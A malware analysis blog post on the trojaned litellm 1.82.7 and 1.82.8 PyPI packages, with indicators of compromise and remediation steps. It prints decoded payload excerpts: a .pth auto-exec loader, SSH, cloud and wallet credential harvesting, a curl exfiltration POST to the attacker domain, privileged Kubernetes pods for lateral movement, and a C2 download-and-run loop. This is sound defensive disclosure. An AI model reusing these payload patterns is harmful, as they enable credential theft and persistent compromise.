Malicious litellm 1.82.8: Credential Theft and Persistent Backdoor
Table of Contents
TL;DR
Two versions of litellm on PyPI were compromised with credential-stealing payloads. Version 1.82.7 embeds the payload in litellm/proxy/proxy_server.py, triggering on import. Version 1.82.8 escalates by adding a malicious .pth file that executes automatically when the Python interpreter starts, no import required. Both versions collect SSH keys, cloud credentials, Kubernetes secrets, crypto wallets, and environment variables, encrypt them with a hardcoded RSA public key, and exfiltrate the archive to an attacker-controlled server. On Kubernetes clusters, the payload creates privileged pods on every node to establish persistence. On all systems, it installs a systemd service that polls a C2 server for arbitrary binaries to execute.
Impact:
- Exfiltrates all environment variables, SSH keys, and cloud provider credentials (AWS, GCP, Azure)
- Uses stolen AWS credentials to dump Secrets Manager and SSM Parameter Store values
- Dumps all Kubernetes secrets across every namespace
- Deploys privileged pods to every K8s node for lateral movement and persistence
- Installs a persistent C2 polling backdoor disguised as “System Telemetry Service”
- Targets cryptocurrency wallet files (Bitcoin, Ethereum, Solana, Cardano, and others)
Indicators of Compromise (IoC):
- Packages:
litellm==1.82.7(payload inproxy/proxy_server.py),litellm==1.82.8(wheel SHA256:d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebb) - Malicious file:
litellm_init.pth(34,628 bytes, SHA256 from RECORD:ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg) - Exfiltration endpoint:
hxxps://models[.]litellm[.]cloud/ - C2 polling URL:
hxxps://checkmarx[.]zone/raw - Persistence path:
~/.config/sysmon/sysmon.py - Systemd unit:
~/.config/systemd/user/sysmon.service - K8s pods:
node-setup-*inkube-systemnamespace
Analysis
Package Overview
litellm is a widely used Python library by BerriAI that provides a unified interface to 100+ LLM providers. On March 24, 2026, a security advisory was filed reporting that version 1.82.8 published to PyPI contained a malicious .pth file not present in the source repository. Rami McCarthy’s post on X amplified the signal and brought it to our attention, prompting this analysis.
This compromise is likely a downstream consequence of the Trivy supply chain attack. LiteLLM’s CI/CD pipeline (ci_cd/security_scans.sh) installed Trivy from the apt repository without version pinning:
# ci_cd/security_scans.sh — no version pin on trivywget -qO - https://aquasecurity.github.io/trivy-repo/deb/public.key | sudo apt-key add -echo "deb https://aquasecurity.github.io/trivy-repo/deb $(lsb_release -sc) main" \ | sudo tee -a /etc/apt/sources.list.d/trivy.listsudo apt-get updatesudo apt-get install trivy # installs whatever the repo servesWhen the poisoned Trivy apt repository served a compromised binary, this script installed it with full CI runner privileges. The malicious Trivy binary exfiltrated runner secrets, including PYPI_PUBLISH_PASSWORD. The attacker then used the stolen PyPI credentials to publish malicious versions directly. The litellm maintainer confirmed the Trivy connection on Hacker News. Neither version corresponds to an official GitHub release (releases only go up to v1.82.6.dev1).
Community analysis in the GitHub advisory thread confirmed two compromised versions with different attack vectors:
| Version | Method | Trigger |
|---|---|---|
| 1.82.7 | Payload embedded in litellm/proxy/proxy_server.py | import litellm.proxy |
| 1.82.8 | .pth file added, payload also in proxy/proxy_server.py | Any Python startup (no import needed) |
Version 1.82.8 is an escalation: the .pth file ensures execution even if the proxy module is never imported. The exfiltration domain models.litellm.cloud was registered on 2026-03-23, one day before the malicious packages appeared on PyPI. This analysis focuses on 1.82.8 as the more dangerous variant.
The wheel’s RECORD file confirms the injected file:
litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628The wheel contains 2,598 files across three top-level entries: the legitimate litellm/ package directory, the standard litellm-1.82.8.dist-info/, and the injected litellm_init.pth. The package metadata (author, homepage, dependencies) is identical to the legitimate litellm project. This is not a typosquat. The attacker used stolen PyPI credentials to publish a trojaned version of the real package.
Technical Analysis
Warning: All analysis below was conducted inside an isolated Docker container used as a filesystem sandbox. Do not execute any of the malicious payloads on a host system. Download and extract only; never
pip installthe compromised wheel.
Set up an isolated directory for analysis:
mkdir -p /tmp/malware-analysis-litellm && cd /tmp/malware-analysis-litellmDownload the wheel without installing it:
curl -sL -o litellm-1.82.8-py3-none-any.whl \ "https://files.pythonhosted.org/packages/fd/78/2167536f8859e655b28adf09ee7f4cd876745a933ba2be26853557775412/litellm-1.82.8-py3-none-any.whl"Verify the SHA256 hash:
shasum -a 256 litellm-1.82.8-py3-none-any.whl# expected: d2a0d5f564628773b6af7b9c11f6b86531a875bd2d186d7081ab62748a800ebbList .pth files in the wheel (legitimate wheels should not contain any):
unzip -l litellm-1.82.8-py3-none-any.whl | grep '\.pth$'# 34628 03-24-2026 00:00 litellm_init.pthExtract the malicious file without installing the package:
mkdir -p extracted && cd extractedunzip -o ../litellm-1.82.8-py3-none-any.whl "litellm_init.pth" "litellm-1.82.8.dist-info/*"Decode each base64 layer statically (never execute the payloads):
import base64, re, os
os.makedirs("decoded", exist_ok=True)
# Stage 0 -> Stage 1: extract base64 from the .pth one-linerwith open("litellm_init.pth") as f: pth_content = f.read()b64_match = re.search(r"b64decode\('([^']+)'\)", pth_content)stage1 = base64.b64decode(b64_match.group(1)).decode()with open("decoded/stage1_orchestrator.py", "w") as f: f.write(stage1)print(f"Stage 1 (orchestrator): {len(stage1)} bytes -> decoded/stage1_orchestrator.py")
# Stage 1 -> Stage 2: extract B64_SCRIPT from orchestratorb64_script = re.search(r'B64_SCRIPT\s*=\s*"([^"]+)"', stage1).group(1)stage2 = base64.b64decode(b64_script).decode()with open("decoded/stage2_collector.py", "w") as f: f.write(stage2)print(f"Stage 2 (collector): {len(stage2)} bytes -> decoded/stage2_collector.py")
# Stage 2 -> Stage 3: extract PERSIST_B64 from collectorpersist_b64 = re.search(r"PERSIST_B64='([^']+)'", stage2).group(1)stage3 = base64.b64decode(persist_b64).decode()with open("decoded/stage3_persistence.py", "w") as f: f.write(stage3)print(f"Stage 3 (persistence): {len(stage3)} bytes -> decoded/stage3_persistence.py")Expected output:
Stage 1 (orchestrator): 25844 bytes -> decoded/stage1_orchestrator.pyStage 2 (collector): 17281 bytes -> decoded/stage2_collector.pyStage 3 (persistence): 1125 bytes -> decoded/stage3_persistence.pyAll code snippets below are taken from these decoded files. The following sections walk through each stage.
Execution Trigger
.pth (path configuration) files exist so that Python’s site module can extend sys.path at interpreter startup. The site module documentation specifies that any line beginning with import is passed to exec(), allowing initialization code to run automatically. This mechanism is intended for configuring specialized environments or loading third-party hook functionality (see also PEP 648), but it makes .pth files an effective attack vector: the payload runs every time Python starts, not just when litellm is imported.
The .pth file contains a single line:
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('aW1wb3J0IHN1YnByb2Nlc3MK...'))"])This spawns a detached subprocess that decodes and executes a base64-encoded Stage 1 payload. The use of Popen (not run or call) ensures the malicious code runs in the background without blocking the interpreter.
Stage 1: Orchestrator
The decoded Stage 1 script (25,844 bytes) manages the overall attack. It contains three key components: a hardcoded 4096-bit RSA public key, a second base64-encoded blob (B64_SCRIPT) containing the collection logic, and the encryption/exfiltration routine.
# Stage 1 (decoded from litellm_init.pth)PUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY-----MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvz0UTgSq6cVpQWpiuQa+UjTkWmC8RDDXO8G/opLGQnuQVvgsZWuT31j/Qop6rtocYsayGzCFrMV...-----END PUBLIC KEY-----"""
B64_SCRIPT = "aW1wb3J0IG9zLHN5cyxzdGF0LHN1YnByb2Nlc3MsZ2xvYgoK..."After executing the collector and capturing its output, the orchestrator encrypts the stolen data using a hybrid encryption scheme:
# Stage 1: Encryption and exfiltrationsubprocess.run(["openssl", "rand", "-out", sk, "32"], check=True)subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL)subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL)subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)
subprocess.run([ "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST", "https://models.litellm.cloud/", "-H", "Content-Type: application/octet-stream", "-H", "X-Filename: tpcp.tar.gz", "--data-binary", f"@{bn}"], check=True, stderr=subprocess.DEVNULL)A random 32-byte AES session key encrypts the collected data. The session key itself is encrypted with the attacker’s RSA public key. Both are packed into tpcp.tar.gz and POSTed to hxxps://models[.]litellm[.]cloud/. The domain litellm.cloud (not litellm.ai, the official domain) is attacker-controlled infrastructure chosen to blend in with legitimate litellm services.
Stage 2: The Collector
The second base64 layer (17,281 bytes) is a comprehensive credential harvester. It defines three core utility functions and then systematically raids every credential store on the system.
# Stage 2: Core utilitiesdef emit(path): try: st=os.stat(path) if not stat.S_ISREG(st.st_mode):return with open(path,'rb') as fh:data=fh.read() sys.stdout.buffer.write(('\n=== '+path+' ===\n').encode()) sys.stdout.buffer.write(data) sys.stdout.buffer.write(b'\n') except OSError:pass
def run(cmd): try: out=subprocess.check_output(cmd,shell=True, stderr=subprocess.DEVNULL,timeout=10) if out: sys.stdout.buffer.write(('\n=== CMD: '+cmd+' ===\n').encode()) sys.stdout.buffer.write(out) except Exception:passThe collector outputs everything to stdout, which Stage 1 captures into a file for encryption. The targeted credential categories:
System reconnaissance and environment:
# Stage 2: System info collectionrun('hostname; pwd; whoami; uname -a; ip addr 2>/dev/null || ifconfig 2>/dev/null; ip route 2>/dev/null')run('printenv')SSH keys (all key types, all users):
# Stage 2: SSH key theftfor h in homes+['/root']: for f in ['/.ssh/id_rsa','/.ssh/id_ed25519','/.ssh/id_ecdsa','/.ssh/id_dsa', '/.ssh/authorized_keys','/.ssh/known_hosts','/.ssh/config']: emit(h+f) walk([h+'/.ssh'],2,lambda fp,fn:True)Cloud credentials with active exploitation:
The collector doesn’t just read credential files. When it finds AWS credentials, it implements a full AWS SigV4 signing routine in pure Python (no boto3 dependency) and actively dumps Secrets Manager and SSM Parameter Store:
# Stage 2: AWS Secrets Manager dump using stolen credentialsAK=os.environ.get('AWS_ACCESS_KEY_ID','')SK=os.environ.get('AWS_SECRET_ACCESS_KEY','')# ...sm=aws_req('POST','secretsmanager',REG,'/','Action=ListSecrets', {'Content-Type':'application/x-amz-json-1.1', 'X-Amz-Target':'secretsmanager.ListSecrets'},AK,SK,ST)It also queries EC2 IMDS v2 for role credentials, escalating from static IAM keys to temporary role credentials when running on EC2.
Cryptocurrency wallets (broad targeting):
# Stage 2: Crypto wallet theftfor h in homes+['/root']: for coin in ['/.bitcoin/bitcoin.conf','/.litecoin/litecoin.conf', '/.dogecoin/dogecoin.conf','/.zcash/zcash.conf', '/.dashcore/dash.conf','/.ripple/rippled.cfg', '/.bitmonero/bitmonero.conf']: emit(h+coin) walk([h+'/.bitcoin'],2, lambda fp,fn:fn.startswith('wallet') and fn.endswith('.dat')) walk([h+'/.ethereum/keystore'],1,lambda fp,fn:True) walk([h+'/.config/solana'],3,lambda fp,fn:True)Solana gets special treatment with targeted searches for validator keypairs, vote account keys, and Anchor project deploy directories, suggesting the attacker anticipated litellm running on Solana validator infrastructure or crypto-adjacent developer machines.
Kubernetes Lateral Movement
The most aggressive behavior targets Kubernetes clusters. After dumping secrets from all namespaces, the collector creates a privileged pod on every node in the cluster:
# Stage 2: K8s lateral movement via privileged pod creationnodes=k8s_get('/api/v1/nodes')for node in nodes.get('items',[]): node_name=node.get('metadata',{}).get('name','') drop_cmd=( f'mkdir -p /host/root/.config/sysmon /host/root/.config/systemd/user && ' f'echo {PERSIST_B64}|base64 -d > /host/root/.config/sysmon/sysmon.py && ' f'chmod 700 /host/root/.config/sysmon/sysmon.py && ' # ... installs systemd service on the host via chroot ... ) pod_manifest={ 'apiVersion':'v1','kind':'Pod', 'metadata':{'name':f'node-setup-{node_name[:35]}', 'namespace':'kube-system'}, 'spec':{ 'nodeName':node_name, 'hostPID':True,'hostNetwork':True, 'tolerations':[{'operator':'Exists'}], 'containers':[{ 'name':'setup', 'image':'alpine:latest', 'command':['sh','-c',drop_cmd], 'securityContext':{'privileged':True}, 'volumeMounts':[{'name':'host','mountPath':'/host'}] }], 'volumes':[{'name':'host','hostPath':{'path':'/'}}], 'restartPolicy':'Never' } } k8s_post('/api/v1/namespaces/kube-system/pods',pod_manifest)Each pod mounts the host root filesystem, runs as privileged with hostPID and hostNetwork, and uses chroot /host to install the persistence script and systemd unit directly onto the node. The pods are named node-setup-* in the kube-system namespace to avoid suspicion. The toleration {'operator': 'Exists'} ensures pods schedule on tainted nodes, including control plane nodes.
Stage 3: Persistent C2 Backdoor
The persistence mechanism, installed both locally and on K8s nodes, is a polling loop disguised as “System Telemetry Service”:
C_URL = "https://checkmarx.zone/raw"TARGET = "/tmp/pglog"STATE = "/tmp/.pg_state"
if __name__ == "__main__": time.sleep(300) while True: l = g() # fetches URL from C2 prev = "" if os.path.exists(STATE): try: with open(STATE, "r") as f: prev = f.read().strip() except: pass
if l and l != prev and "youtube.com" not in l: e(l) # downloads and executes the binary
time.sleep(3000)The script polls hxxps://checkmarx[.]zone/raw every 50 minutes for a URL. If the URL changes and is not a YouTube link (likely a dead-man’s switch or testing artifact), it downloads the binary to /tmp/pglog, marks it executable, and runs it. The state file at /tmp/.pg_state prevents re-execution of the same payload. The domain checkmarx.zone impersonates Checkmarx, the application security company.
The persistence is registered as a systemd user service with StartLimitIntervalSec=0 (ensuring systemd never stops restarting it) and suppressed output via StandardOutput=null.
Obfuscation
The attack uses triple base64 encoding as its primary obfuscation. The .pth file contains a base64 blob that decodes to Stage 1, which contains B64_SCRIPT (another base64 blob) that decodes to Stage 2, which contains PERSIST_B64 (a third base64 blob) that decodes to Stage 3. No hex encoding, no string rotation, no minification beyond compressed whitespace. The obfuscation is functional (fits the payload into a .pth one-liner) rather than evasive. The 34,628-byte .pth file is notably large for what should be a simple path configuration file.
Conclusion
This is likely a second-order supply chain compromise: the Trivy attack appears to have poisoned litellm’s CI/CD pipeline, leading to stolen PyPI credentials and a trojaned package publish. The attacker did not typosquat or create a lookalike; they used legitimate publishing credentials to push a compromised version of the real package. The payload is comprehensive: it steals credentials from every major cloud provider, exploits Kubernetes service account tokens for lateral movement across cluster nodes, and establishes a persistent C2 channel that can deliver arbitrary follow-on payloads.
If you installed litellm==1.82.7 or litellm==1.82.8, treat every credential on that system as compromised. Rotate all API keys, SSH keys, cloud provider credentials, and database passwords. On Kubernetes clusters, audit for node-setup-* pods in kube-system and check for sysmon.service systemd units on every node. Check for the persistence files at ~/.config/sysmon/sysmon.py and ~/.config/systemd/user/sysmon.service.
To proactively detect compromised packages before they reach your environment, run vet against your dependency lockfiles. For continuous monitoring of your dependencies, SafeDep Cloud provides real-time detection of malicious packages across your organization’s repositories.
References
- pypi
- oss
- malware
- supply-chain
- litellm
- credential-theft
- kubernetes
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

sl4x0 Dependency Confusion: 92 Packages Target Fortune 500
A sustained dependency confusion campaign by the sl4x0 actor likely targets 20+ organizations including Adobe, Ford, Sony, and Coca-Cola with 92+ malicious npm packages exfiltrating developer data...

Malicious npm Package react-refresh-update Drops Cross-Platform Trojan on Developer Machines
A malicious npm package impersonating react-refresh, Meta's library with 42 million weekly downloads, was detected by SafeDep. The package injects a two-layer obfuscated dropper into runtime.js that...

Trivy Supply Chain Compromise: What Happened, What Was Stolen, and How to Respond
A consolidated technical reference for the TeamPCP supply chain attack against Aqua Security's Trivy scanner. Covers the full attack chain from AI-assisted initial breach through credential theft,...

How to Write Time-Based Security Policies in SafeDep vet
Protect against unknown malicious open source packages by enforcing a supply chain cooling-off period using the now() CEL function in SafeDep vet.

Ship Code
Not Malware
Install the SafeDep GitHub App to keep malicious packages out of your repos.
